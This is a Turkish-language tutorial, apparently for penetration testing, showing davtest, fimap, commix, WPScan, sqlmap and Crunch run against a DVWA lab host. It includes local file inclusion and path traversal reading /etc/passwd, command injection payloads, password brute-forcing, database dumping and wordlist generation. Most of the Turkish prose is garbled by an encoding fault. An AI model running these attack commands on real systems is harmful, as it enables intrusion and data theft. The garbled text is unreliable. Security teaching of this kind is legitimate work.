PUT txt SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt 

PUT pl  SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.pl 

PUT jsp SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jsp 

PUT cfm SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.cfm 

PUT aspx    FAIL 

PUT jhtml   SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jhtml 

PUT php SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.php 

PUT html    SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html 

PUT shtml   FAIL 

********************************************************  

 Checking for test file execution 

EXEC    txt SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt 

EXEC    pl  FAIL 

EXEC    jsp FAIL 

EXEC    cfm FAIL 

EXEC    jhtml   FAIL 

EXEC    php FAIL 

EXEC    html    SUCCEED:    http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html 

 

********************************************************  

/usr/bin/davtest Summary: 

Created: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.pl 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jsp 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.cfm 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.jhtml 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.php 

PUT File: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html 

Executes: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.txt 

Executes: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_B0yG9nhdFS8gox.html 



Fimap: 
CƛƳŀǇΣ ǿŜō ǳȅƎǳƭŀƳŀƭŀǊƤƴŘŀƪƛ [CLό[ƻŎŀƭ CƛƭŜ LƴŎƭǳǎƛƻƴύ ǾŜ wCLόwŜƳƻǘŜ CƛƭŜ LƴŎƭǳǎƛƻƴύ ōǳƎƭŀǊƤ ōǳƭƳŀȅŀ 

ȅŀǊŀȅŀƴ ƻǘƻƳŀǘƛƪ ōƛǊ ŀǊŀœǘƤǊΦ 

!ǊŀŎƤ ƪǳƭƭŀƴƳŀȅŀ ōŀǒƭŀƳŀŘŀƴ ǀƴŎŜ [CL ǾŜ wCL ƘŀƪƪƤƴŘŀ ōƛǊŀȊ ōƛƭƎƛ ǾŜǊŜƭƛƳΦ 

[CLΥ IŜŘŜŦ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀ ȊƛȅŀǊŜǘœƛƭŜǊŜ ǎǳƴǳƭƳŀƳƤǒ ȅŜǊŜƭ ŘƻǎȅŀƭŀǊƤƴ ƎǀǊǸƴǘǸƭŜƴƳŜǎƛƴŜ ŘŜƴƛǊΦ 

wCLΥ IŜŘŜŦ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀ ǎŀƭŘƤǊƎŀƴ ǘŀǊŀŦƤƴŘŀƴ Řƻǎȅŀ ȅǸƪƭŜƴƛǇΣ ǎǳƴǳŎǳ ǸȊŜǊƛƴŘŜ ƎǀǊǸƴǘǸƭŜƴƳŜǎƛ 

ƛǒƭŜƳƛŘƛǊΦ 

{Ƥƪ ƪǳƭƭŀƴƤƭŀƴ ǇŀǊŀƳŜǘǊŜƭŜǊƛ ǘŀƴƤƳƭŀȅŀƭƤƳΦ 

-s , --single                   ¢Ŝƪ ōƛǊ ǳǊƭΩƛ ǘŜǎǘ ŜŘƛƭŜŎŜƪ 

-m , --mass                   Dosyadaki liste tek tek kontrol edilecek 

-g , --google                  DƻƻƎƭŜ Řŀƴ ƎƛǊŘƛƐƛƳƛȊ ǎƻǊƎǳȅǳ ŀǊŀǘǘƤǊŀŎŀƪ 

-u , --url=URL               ¢Ŝǎǘ ŜǘƳŜƪ ƛǎǘŜŘƛƐƛƳƛȊ ¦w[ ƎƛǊƛƭŜŎŜƪ 

-l , --list=LIST                ¢Ŝǎǘ ŜǘƳŜƪ ƛǎǘŜŘƛƐƛƳƛȊ ¦w[ ƭƛǎǘŜǎƛ girilecek 

-q , --query=QUERY           sorguyu test edecek 

-p , --pages=COUNT             DƻƻƎƭŜ Řŀ ŀǊŀǘǘƤǊƤǊƪŜƴ ƪŀœ ǎŀȅŦŀ ōŀƪƤƭŀŎŀƐƤƴƤ ƎǀǎǘŜǊƛǊΦ ±ŀǊǎŀȅƤƭŀƴ мл 

 -P , --post=POSTDATA           tƻǎǘ ŜŘƛƭŜŎŜƪ ŘŀǘŀȅƤ ƎǀǎǘŜǊƛǊ 

        --cookie=COOKIES          post edilecek cookie 

-X, --exploit   ƛƴǘŜǊŀŎǘƛŦ ǎŜǎǎƛƻƴ ŀœŀǊŀƪΣ ŀƪǎƛȅƻƴ ƛœƛƴ ǎŜœŜƴŜƪ ǎǳƴŀǊΦ 

 

YǳƭƭŀƴƤƳƤ: 

fimap.py <parametre> <url>  

mǊƴŜƪƭŜǊΥ 

./fimap.py -ǳ ϥƘǘǘǇΥκκмфнΦмсуΦмрнΦморκŘǾǿŀκǾǳƭƴŜǊŀōƛƭƛǘƛŜǎκŦƛκΚǇŀƎŜҐƛƴŎƭǳŘŜΦǇƘǇΩ 

./fimap.py -m -l '/root /urllist.txt' 

./fimap.py -g -q 'inurl:include.php' 

 ƛƳŘƛ http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php ŀŘǊŜǎƛƴŘŜƪƛ CL ŀœƤƪƭƤƐƤƴƤ 

ŦƛƳŀǇ ŀǊŀŎƤ ƛƭŜ ǘŜǎǘ ŜŘŜƭƛƳΦ 

./fimap.py -u "http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php" 

root@kali:/pentest/exploitation/fimap/src# ./fimap.py -u " 
http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php 

fimap v.1.00_svn (My life for Aiur) 

:: Automatic LFI/RFI scanner and exploiter 

:: by Iman Karim (fimap.dev@gmail.com) 

http://192.168.152.135/fi.php?inc=index.php


SingleScan is testing URL: ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php' 

[OUT] Inspecting URL ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php'... 

[INFO] Fiddling around with URL... 

[OUT] Possible file inclusion found! -> ' http://192.168.152.135/fi.php?inc =bUTeWg6j' with Parameter 'inc'. 

 [OUT] Identifing Vulnerability ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php' with Key 'inc'...             

 [INFO] Scriptpath received: '/var/www'                                                                       

 [INFO] Testing file '/etc/passwd'...  

          ###################################################################################                          

      #[1] Possible File Injection                                                      #                          

      ###################################################################################                          

      #  [URL]      http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php                       #                          

      #  [PARAM]    inc                                                                 #                          

      #  [PATH]     /var/www                                                            #                          

      #  [TYPE]     Absolute Clean + Remote injection                                   #                          

      #  [NULLBYTE] No Need. It's clean.                                                #                          

      #  [READABLE FILES]                                                               #                          

      #                   [0] /etc/passwd                                               #                          

            ###################################################################################                   

/ŜǘŎκǇŀǎǎǿŘ ŘƻǎȅŀǎƤƴƤƴ ƻƪǳƴŀōƛƭŘƛƐƛƴƛ ƻǊǘŀȅŀ œƤƪŀǊŘƤΦ ¸ŀƴƛ ǎǳƴǳŎǳŘŀ [CL ŀœƤƐƤ ǾŀǊ ǾŜ ōǳ ŀœƤƪ ŦƛƳŀǇ 

ŀǊŀŎƤƭƤƐƤ ƛƭŜ ǘŜǎǇƛǘ ŜŘƛƭŘƛΦ 

TƴŘŜȄΦǇƘǇ ŘƻǎȅŀǎƤƴƤƴ ōǳƭǳƴŘǳƐǳ ȅŜǊ /var/www/dvwa/vulnerabilities/fi/ ƪƭŀǎǀǊǸƴŘŜΦ κŜǘŎκǇŀǎǎǿŘ 

ƪƭŀǎǀǊǸƴŜ ƎƛŘŜōƛƭƳŜƪ ƛœƛƴ р ƪƭŀǎǀǊ ȅǳƪŀǊƤ œƤƪƳŀƳƤȊ ƎŜǊŜƪŜŎŜƪΦ κŜǘŎκǇŀǎǎǿŘ ŘƻǎȅŀƳƤȊƤ ƻƪǳƳŀƪ ƛœƛƴΣ 

http://192.168.152.135/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd yoluna gidebiliriz. 

5ƻǎȅŀƳƤȊŀ ŜǊƛǒǘƛƪΦ 

 



Commix: 
/ƻƳƳƛȄ ŀǊŀŎƤΣ ƛǎƳƛƴƛ [comm]and [i]njection e[x]ploiter Řŀƴ ŀƭƳŀƪǘŀŘƤǊΦ YƤǎŀŎŀ ǎƤȊƳŀ ǘŜǎǘƛ ǳȊƳŀƴƭŀǊƤ 

ǘŀǊŀŦƤƴŘŀƴΣ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀƪƛ ƪƻƳǳǘ ŜƴƧŜƪǎƛȅƻƴǳ ȊŀŀŦƛȅŜǘƛ ƻƭǳǇ ƻƭƳŀŘƤƐƤƴƤ ǘŜǎǘ ŜǘƳŜƪ ŀƳŀŎƤȅƭŀ 

ƪǳƭƭŀƴƤƭŀƴ ōƛǊ ŀǊŀœǘƤǊΦ  

/ƻƳƳŀƴŘ ƛƴƧŜŎǘƛƻƴ ȊŀŀŦƛȅŜǘƛΣ ƘŜŘŜŦ ǿŜō ǳȅƎǳƭŀƳŀǎƤƴŘŀΣ ǎŀƭŘƤǊƎŀƴƤƴ ƛǎǘŜŘƛƐƛ ƪƻƳǳǘǳ όƛǒƭŜǘƛm sistemi 

ǾŜȅŀ ŘƛƐŜǊ ǎƘŜƭƭ ƪƻƳǳǘƭŀǊƤƴƤύ œŀƭƤǒǘƤǊŀōƛƭƳŜǎƛƴŜ ƴŜŘŜƴ ƻƭŀƴ ōƛǊ ȊŀŀŦƛȅŜǘǘƛǊΦ  

YŀǊǒƤƳƤȊŘŀ ǇƛƴƎ ƪƻƳǳǘǳ œŀƭƤǒǘƤǊƳŀƳƤȊŀ ƛȊƛƴ ǾŜǊŜƴ ōƛǊ ǿŜō ǳȅƎǳƭŀƳŀǎƤ ƻƭǎǳƴΦ 

 

tƛƴƎ ȅŀǇƳŀƪ ƛǎǘŜŘƛƐƛƳƛȊ ƘŜŘŜŦ ƛǇ ōƛƭƎƛǎƛƴƛ ȅŀȊŘƤƐƤƳƤȊŘŀΣ ǇƛƴƎ ƛǎǘŜƐƛƴƛƴ œƤƪǘƤǎƤƴƤƴ ƪŀǊǒƤƳƤȊŀ ƎŜƭŘƛƐƛƴƛ 

ƎǀǊǸȅƻǊǳȊΦ .ǳ Řŀ ƎǀǎǘŜǊƛȅƻǊ ƪƛΣ ǿŜō ǳȅƎǳƭŀƳŀǎƤ ƳŜǘƛƴ ƪǳǘǳǎǳƴŀ ȅŀȊŘƤƐƤƳƤȊ ƛǇ ōƛƭƎƛǎƛƴƛ ǎǳƴǳŎǳŘŀƪƛ 

ƪƻƳǳǘ ǎŀǘƤǊƤ ŀǊŀŎƤƭƤƐƤȅƭŀ ƛǒƭŜƳƛ ƎŜǊœŜƪƭŜǒǘƛǊƛǇΣ ǎƻƴǳŎǳ ŜƪǊŀƴŀ ǾŜǊƳŜƪǘŜΦ  ŀȅŜǘ ƛǇ ōƛƭƎƛǎƛƴƛƴ ȅŀȊƤƭŘƤƐƤ ƳŜǘƛƴ 

ƪǳǘǳǎǳ ŘŜƴŜǘƭŜƳŜȅŜ ǘŀōƛ ǘǳǘǳƭƳŀŘƤ ƛǎŜΣ ōŀǒƪŀ ƪƻƳǳǘƭŀǊ Řŀ œŀƭƤǒǘƤǊƤƭƳŀǎƤƴŀ ƛȊƛƴ ǾŜǊƛȅƻǊ ƻƭŀōƛƭƛǊΦ 

Bunu && ls -ƭ ƪƻƳǳǘǳȅƭŀ ǘŜǎǘ ŜŘƛȅƻǊǳȊΦ ±Ŝ ƎǀǊǸƭŘǸƐǸ Ǝƛōƛ ƳŜǘƛƴ ƪǳǘǳǎǳƴŘŀ ƛǇ ƘŀǊƛŎƛƴŘŜ ƛǎǘŜŘƛƐƛƳƛȊ 

ōŀǒƪŀ ƪƻƳǳǘƭŀǊƤ Řŀ œŀƭƤǒǘƤǊŀōƛƭŘƛƐƛƳƛȊƛ ƎǀǊŘǸƪΦ ¦ȅƎǳƭŀƳŀ Řŀ ŎƻƳƳŀƴŘ ƛƴƧŜŎǘƛƻƴ ƻƭŘǳƐǳƴǳ ǘŜǎǇƛǘ Ŝǘǘƛƪ. 

 

 

 



YǳƭƭŀƴƤƳƤ: 

commix ςǳǊƭ ғƪƻƳǳǘ ŜƴƧŜƪǎƛȅƻƴǳƴ ƻƭŘǳƐǳ ǳǊƭҔ  ғǎŜœŜƴŜƪƭŜǊҔ 

9ƴ ǎƤƪ ƪǳƭƭŀƴƤƭŀƴ ǎŜœŜƴŜƪƭŜǊ --cookie ve --Řŀǘŀ ǎŜœŜƴŜƐƛ 

mƴŎŜ ȊŀǇ ǇǊƻȄȅ ƛƭŜ ƛǎǘŜƐƛ ǘŀƳǇŜǊ ŜŘƛǇΣ ŎƻƻƪƛŜ ǾŜ Ǉƻǎǘ ŘŀǘŀǎƤƴƤ ŀƭŀƭƤƳΦ 

 

5ŀǘŀΩȅƤ Ǉƻǎǘ ŜǘǘƛƐƛƳƛȊ ƪƤǎƳƤ LbW9/¢ψI9w9 ƛƭŜ ŘŜƐƛǒǘƛǊŜǊŜƪ ƪƻƳǳǘǳƳǳȊǳ ƪǳƭƭŀƴŀƭƤƳΦ 

commix.py --url http://192.168.152.135/dvwa/vulnerabilities/exec/# --cookie="security=low; 

PHPSESSID=dc35d8c033eab0913698178549032eed" --data="ip=INJECT_HERE&submit=submit" 

Komut enjŜƪǎƛȅƻƴǳ ōŀǒŀǊƤƭƤΦ ¢ŜǊƳƛƴŀƭ ǎƘŜƭƭΩƛ ŀƭƤǇ ƪƻƳǳǘƭŀǊƤ œŀƭƤǒǘƤǊŀōƛƭƛǊƛȊΦ 

 

{ƻƴ ƻƭŀǊŀƪ ŜǘŎκǇŀǎǎǿŘ ŘƻǎȅŀǎƤƴƤŘŀ ŀƭŀōƛƭŜŎŜƐƛƳƛȊƛ ƎǀǊŜƭƛƳΦ 

 

 

 



Wpscan: 
²ǇǎŎŀƴ ŀǊŀŎƤΣ ǿƻǊŘǇǊŜǎǎ ǘŀōŀƴƭƤ ǎƛǘŜƭŜǊ ƘŀƪƪƤƴŘŀ ōƛƭƎƛ ǘƻǇƭŀȅŀƴΣ ƪǳƭƭŀƴƤƭŀƴ ǿƻǊŘǇǊŜǎǎ ǾŜǊǎƛȅƻƴǳƴǳΣ 

pluginleri ve zŀŀŦƛȅŜǘƭŜǊƛƴƛ ǘŀǊŀƳŀȅŀ ȅŀǊŀȅŀƴ ōƛǊ ŀǊŀœǘƤǊΦ 

{Ƥƪ ƪǳƭƭŀƴƤƭŀƴ ǇŀǊŀƳŜǘǊŜƭŜǊƛƴŜ ōŀƪŀƭƤƳΦ 

--update   ǿǇǎŎŀƴ ǾŜǊǎƛȅƻƴǳƴǳ ƎǸƴŎŜƭƭŜǊ 

--url       | -u <target url>        IŜŘŜŦ ǿƻǊŘǇǊŜǎǎ ǳǊƭΩƛ ǘŀǊŀǊ 

--enumerate | -e [option(s)]      ŀǒŀƐƤŘŀƪƛ ǎŜœŜƴŜƪƭŜǊƭŜ ōŜǊŀōŜǊ ƪǳƭƭŀƴƤƭƤǇ ōƛƭƎƛ ǘƻǇƭŀǊ 

  ǎŜœŜƴŜƪƭŜǊ 

    u          ƛŘ ōƛƭƎƛǎƛ м ƛƭŜ мл ŀǊŀǎƤƴŘŀƪƛ ƪǳƭƭŀƴƤŎƤƭŀǊƤ ƎŜǘƛǊƛǊ 

    u[10-20]  ƛŘ ōƛƭƎƛǎƛ мл ƛƭŜ нл ŀǊŀǎƤƴŘŀƪƛ ōƛƭƎƛƭŜǊƛ ƎŜǘƛǊƛ 

    p        pluginleri getirir 

    vp       ȊŀŀŦƛȅŜǘ ƛœŜǊŜƴ ǇƭǳƎƛƴƭŜǊƛ ƎŜǘƛǊƛǊ 

    ap       ǘǸƳ ǇƭǳƎƛƴƭŜǊƛ ƎŜǘƛǊƛ 

    t         ǘŜƳŀƭŀǊƤ ƎŜǘƛǊƛ 

    vt       ǎŀŘŜŎŜ ȊŀŀŦƛȅŜǘƭƛ ǘŜƳŀƭŀǊƤ ƎŜǘƛǊƛ 

    at       ǘǸƳ ǘŜƳŀƭŀǊƤ ƎŜǘƛǊƛǊ 

--wordlist | -w <wordlist>             ƛŦǊŜ ŘŜƴŜƳŜǎƛ ƛœƛƴ ǎǀȊƭǸƪ ƪǳƭƭŀƴƤǊ 

--username | -U <username>          BelirtilŜƴ ƪǳƭƭŀƴƤŎƤ ŀŘƤƴƤ ŘŜƴŜǊ 

--usernames     <path-to-file>        5ƻǎȅŀŘŀƪƛ ƪǳƭƭŀƴƤŎƤ ŀŘƭŀǊƤƴƤ ŘŜƴŜǊΦ 

YǳƭƭŀƴƤƳƤ: 

./wpscan -u <hedef site> -Ŝ ғǎŜœŜƴŜƪƭŜǊҔ 

mǊƴŜƪƭŜǊΥ 

./wpscan.rb --url www.example.com 

./wpscan.rb --url www.example.com --wordlist sifre.txt 

./wpscan.rb --url www.example.com --wordlist sifre.txt --username admin 

./wpscan.rb --url www.example.com --enumerate p 

./wpscan.rb --url www.example.com --enumerate t 

ruby ./wpscan.rb --url www.example.com --enumerate u 

ǒƛƳŘƛ ƘŜǊƘŀƴƎƛ ōƛǊ ǎŜœŜƴŜƪ ǾŜǊƳŜŘŜƴ ōƛǊ ǿŜō ǎƛǘŜǎƛƴƛ ǘŀǊŀȅŀƭƤƳΦ 

./wpscan.rb --url www.hedefsite.com 

¢ŀǊŀƳŀ ǎƻƴǳŎǳƴŘŀƴ Řŀ ƎǀǊǸƭŜŎŜƐƛ ƎƛōƛΣ ǎƛǘŜƴƛƴ ǿƻǊŘǇǊŜǎǎ ǾŜǊǎƛȅƻƴǳƴǳΣ ǇƭǳƎƛƴƭŜǊƛΣ ǇƭǳƎƛƴƭŜǊƛƴ 

ǾŜǊǎƛȅƻƴǳƴǳ ƎŜǘƛǊŘƛΦ 5ƛƐŜǊ ƪƻƳǳǘƭŀǊƭŀ Řŀ ȊŀŀŦƛȅŜǘ ƛœŜǊŜƴ ǇƭǳƎƛƴƭŜǊƛ ǾŜ ǎǀȊƭǸƪ ŀǘŀƐƤ ȅŀǇƤƭŀōƛƭƛǊΦ 



Sqlmap 
{v[aŀǇ ǿŜō ǳȅƎǳƭŀƳŀƭŀǊƤƴŘŀ {v[ LƴƧŜŎǘƛƻƴ ŀœƤƪƭƤƐƤƴƤƴ ƻǘƻƳŀǘƛȊŜ ŘŜƴŜǘƛƳƛƴƛ ƎŜǊœŜƪƭŜǒǘƛǊŜōƛƭŜƴ ōƛǊ 

ŀǊŀœǘƤǊΦ {v[aŀǇ ƛƭŜ ǳȅƎǳƭŀƳŀƴƤƴ {v[ LƴƧŜŎǘƛƻƴ ŀœƤƪƭƤƐƤƴŘŀƴ ŜǘƪƛƭŜƴƛǇ ŜǘƪƛƭŜƴƳŜŘƛƐƛƴƛƴ ŘŜƴŜǘƛƳƛ 

ȅŀǇƤƭŀōƛƭƛǊΦ  9ƐŜǊ ŀœƤƪƭƤƪ ǾŀǊ ƛǎŜ ŀǊƪŀ-ǳœϥǘŀ ƪǳƭƭŀƴƤƭŀƴ ǾŜǊitabanƤ ȅǀƴŜǘƛƳ ǎƛǎǘŜƳƛ ōƛƭƎƛsine, sistemdeki 

ǾŜǊƛƭŜǊŜ ǾŜ Ƙŀǘǘŀ Řƻǎȅŀ ǎƛǎǘŜƳƛ ǾŜ ƛǒƭŜǘƛƳ ǎƛǎǘŜƳƛƴŜ ŜǊƛǒƛƭŜōƛƭƳŜƪǘŜŘƛǊΦ  

{ǉƭ ƘŀǘŀǎƤ ŀƭŘƤƐƤƳƤȊ ƘŜŘŜŦ ǿŜō ǎƛǘŜǎƛƴŘŜΣ ƘŀǘŀȅƤ ŀƭŘƤƐƤƳƤȊ ǳǊƭΩŘŜ ŀǒŀƐƤŘŀƪƛ ǇŀǊŀƳŜǘǊŜƭŜǊƛ ȅŀȊŀǊŀƪΣ 

ǎǉƭƳŀǇΩƛƴ ōƛȊƛƳ ƛœƛƴ ǎǉƭ ƛƴƧŜŎǘƛƻƴ ŀœƤƪƭƤƐƤƴƤ ŀǊŀƳŀǎƤƴƤ ƛǎǘŜȅŜŎŜƐƛȊ 

sqlmap -ǳ άȊŀŀŦƛȅŜǘƛƴ ƻƭŘǳƐǳ ǳǊƭέ --dbs 

-u: url adresi 

--dbsΥ ǾŜǊƛǘŀōŀƴƭŀǊƤƴƤ ƎŜǘƛǊ 

¢Ŝǎǘ ōŀǒŀǊƤƭƤ ƻƭǳǊǎŀ ōƛȊƭŜǊŜ ǾŜǊƛǘŀōŀƴƤ ƛǎƛƳƭŜǊƛƴƛ ƭƛǎǘŜƭŜȅŜŎŜƪǘƛǊΦ 5ŀƘŀ ǎƻƴǊŀ ǘŀōƭƻƭŀǊƤ ƭƛǎǘŜƭŜƳŜǎƛƴƛ 

isteyelim 

sqlmap -ǳ άȊŀŀŦƛȅŜǘƛƴ ƻƭŘǳƐǳ ǳǊƭέ -5 άǾŜǊƛǘŀōŀƴƤ ŀŘƤέ --tables 

¸ƛƴŜ ƪƻƳǳǘ ōŀǒŀǊƤƭƤ ƻƭŘǳƐǳ ǘŀƪŘƛǊŘŜ ōƛȊŜ ǘŀōƭƻƭŀǊƤ ƭƛǎǘŜƭŜȅŜŎŜƪǘƛǊΦ 5ŀƘŀ ǎƻƴǊŀ ǘŀōƭƻŘŀƪƛ ƪƻƭƻƴƭŀǊƤ 

listelemesini isteyelim 

sqlmap -ǳ άȊŀŀŦƛȅŜǘƛƴ ƻƭŘǳƐǳ ǳǊƭέ -5 άǾŜǊƛǘŀōŀƴƤ ŀŘƤέ -¢ άǘŀōƭƻ ŀŘƤέ --columns 

BiǊ ǎƻƴǊŀƪƛ ŀŘƤƳŘŀ Řŀ ƛǎǘŜŘƛƐƛƳƛȊ ƪƻƭƻƴƭŀǊƤ ŘǳƳǇ ŜŘƛȅƻǊǳȊΦ 

sqlmap -ǳ άȊŀŀŦƛȅŜǘƛƴ ƻƭŘǳƐǳ ǳǊƭέ -5 άǾŜǊƛǘŀōŀƴƤ ŀŘƤέ -¢ άǘŀōƭƻ ŀŘƤέ -/ άƪƻƭƻƴŀŘƤмΣƪƻƭƻƴŀŘƤнΣΣΣέ ς

dump 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 ƛŦǊŜ {ŀƭŘƤǊƤƭŀǊƤΥ 
 

Crunch: 
/ǊǳƴŎƘ ŀǊŀŎƤΣ ǎƛȊƛƴ ōŜƭƛǊƭŜȅŜŎŜƐƛƴƛȊ ŀƭƎƻǊƛǘƳŀƭŀǊ ƛƭŜ ǎƛȊŜ ǒƛŦǊŜ ǎǀȊƭǸƐǸ ƻƭǳǒǘǳǊƳŀƴƤȊŀ ȅŀǊŘƤƳŎƤ ƻƭŀŎŀƪǘƤǊΦ 

«ŎǊŜǘǎƛȊΣ ƘƤȊƭƤ ǾŜ ƪƻƭŀȅ ƪǳƭƭŀƴƤƳƤƴŘŀƴ ŘƻƭŀȅƤ Ŝƴ œƻƪ ǘŜǊŎƛƘ ŜŘƛƭŜƴ ŀǊŀœƭŀǊŘŀƴ ōƛǊƛŘƛǊΦ 

/ǊǳƴŎƘ ŀǊŀŎƤ ƛƭŜ ǇŀǊƻƭŀ ǸǊŜǘŜōƛƭƳŜƪ ƛœƛƴ ƪŀǊŀƪǘŜǊ ǎŜǘƛ ƪǳƭƭŀƴƤǊΦ .ǳ ƪŀǊŀƪǘŜǊ ǎŜǘƛ ŎǊǳƴŎƘΩƤƴ ƛœƛƴŘŜ ƻƭŀƴ 

karakter setƛ ƻƭŀōƛƭŜŎŜƐƛ Ǝƛōƛ ƪŜƴŘƛƳƛȊŘŜ ƪŀǊŀƪǘŜǊ ǎŜǘƛ ƻƭǳǒǘǳǊǳǇ ǘŀƴƤƳƭŀȅŀōƛƭƛǊƛȊΦ 

/ǊǳƴŎƘΩƤƴ ƪŜƴŘƛǎƛƴŜ ŀƛǘ ƪŀǊŀƪǘŜǊ ǎŜǘƛƴŜ ŀǒŀƐƤŘŀƪƛ ƪƻƳǳǘ ƛƭŜ ŜǊƛǒŜōƛƭƛǊƛȊΦ 

cat /usr/share/crunch/charset.lst 

 

/ǊǳƴŎƘΩƤƴ kendi karakter setini kullanarak 6 karakterli lalpha-ƴǳƳŀǊƛŎ όƪǸœǸƪ ƘŀǊŦ ǾŜ ǊŀƪŀƳƭŀǊŘŀƴ 

ƻƭǳǒŀƴύ ōƛǊ ǇŀǊŀƭƻ ƭƛǎǘŜǎƛ ƻƭǳǒǘǳǊŀƭƤƳΦ 

crunch 6 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o wordlist.txt 

Crunch will now generate the following amount of data: 15237476352 bytes 

14531 MB 

14 GB 

0 TB 

0 PB 

Crunch will now generate the following number of lines: 2176782336 

 

YƻƳǳǘǳƴ œƤƪǘƤƴŘŀƴ Řŀ ƎǀǊǸƭŜŎŜƐƛ Ǝƛōƛ ōǳ ƪƻƳǳǘǳƴ ǎƻƴǳƴŘŀ мп D.ΩƭƤƪ œƤƪǘƤ ǸǊŜǘŜŎŜƪΦ 

DŜƴŜƭ ƪǳƭƭŀƴƤƳ ǒŜƪƭƛ ŀǒŀƐƤŘŀƪƛ ƎƛōƛŘƛǊΦ 



crunch <min-uzunluk> <max-ǳȊǳƴƭǳƪҔ ώғƪŀǊŀƪǘŜǊ ǎǘǊƛƴƎƛҔϐ ώǎŜœŜƴŜƪƭŜǊϐ 

{Ƥƪ ƪǳƭƭŀƴƤƭŀƴ ǎŜœŜƴŜƪƭŜǊƭŜ ǀǊƴŜƪƭŜƴŘƛǊŜƭƛƳΥ 

-b  ǎŜœŜƴŜƐƛ ƻƭǳǒǘǳǊŀŎŀƐƤƴƤȊ ŘƻǎȅŀƴƤƴ ǇŀǊœŀƭƤ ƻƭŀǊŀƪ όƳŀƪǎƛƳǳƳ ƪŀœ Y. κ a. κ D.ύƭŀǊ ƘŀƭƛƴŘŜ 

ƻƭǳǒǘǳǊǳƭƳŀǎƤƴƤ ǎŀƐƭŀǊΦ Ϧ-ƻ {¢!w¢Ϧ ǎŜœŜƴŜƐƛ ōŜǊŀōŜǊ ƪǳƭƭŀƴƤƭƤǊΦ  mǊƴŜƪΥопр a.ΩƭƤƪ ŘƻǎȅŀȅƤ мллa.ΩƭƤƪ 

ŘƻǎȅŀƭŀǊ ƘŀƭƛƴŘŜ ǇŀǊœŀƭŀȅŀōƛƭƛǊƛȊΦ 5ƻǎȅŀ ŀŘƤ ƻƭŀǊŀƪ ŘƻǎȅŀƴƤƴ ƛœƛƴŘŜƪƛ ƛƭƪ ǇŀǊƻƭŀ ƛƭŜ ǎƻƴ ǇŀǊƻƭŀȅƤ 

ƪǳƭƭŀƴŀŎŀƪǘƤǊΦ 

 

 

-c  IŜǊ ōƛǊ Řƻǎȅŀȅŀ ƳŀƪǎƛƳǳƳ ƪŀœ ǎŀǘƤǊ ȅŀȊƤƭŀŎŀƐƤƴƤ ŀȅŀǊƭŀȅŀōƛƭƛǊƛȊΦ ¸ƛƴŜ -o START komutuyla beraber 

ƪǳƭƭŀƴƤƭƤǊΦ 

мллΦллл ǎŀǘƤǊƭƤƪ œƤƪǘƤȅƤ нлΦллл ǎŀǘƤǊƭŀǊŀ ŀȅƤǊŀōƛƭƛǊƛȊΦ 

 

-e ǇŀǊƻƭŀ ǸǊŜǘƛƳƛƴƛƴ ƘŀƴƎƛ ŘŜƐŜǊŘŜƴ ǎƻƴǊŀ ŘǳǊƳŀǎƤƴƤ ƛǎǘƛȅƻǊǎŀƴƤȊ -e parametresini kullanabiliriz. 



 

-f  ƪǳƭƭŀƴƤƭŀŎŀƪ ƪŀǊŀƪǘŜǊ ǎŜǘƛƴƛƴ ȅƻƭǳ ōŜƭƛǊǘƛƭƛǊΦ 

crunch 6 6 -f /usr/share/crunch/charset.lst  lalpha-numeric -o wordlist.txt 

-i  ǇŀǊŀƳŜǘǊŜǎƛȅƭŜΣ ƴƻǊƳŀƭŘŜ œƤƪŀŎŀƪ ǎƻƴǳŎǳ ǘŜǊǎƛƴŜ œŜǾƛǊŜǊŜƪ ǸǊŜǘƛǊΦ 

-o  ǸǊŜǘƛƭŜŎŜƪ ŘƻǎȅŀƴƤƴ ŀŘƤ ǾŜ ȅƻƭǳ ōŜƭƛǊǘƛƭƛǊΦ 

-p  ƎƛǊƛƭŜƴ ŘŜƐŜǊƛƴ ǇŜǊƳǸǘŀǎȅƻƴǳƴǳ ȅŀǇŀǊ 

  

